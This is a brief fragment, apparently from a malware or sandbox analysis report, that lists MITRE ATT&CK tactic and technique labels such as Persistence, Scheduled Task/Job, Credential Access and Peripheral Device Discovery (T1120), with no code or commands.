Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery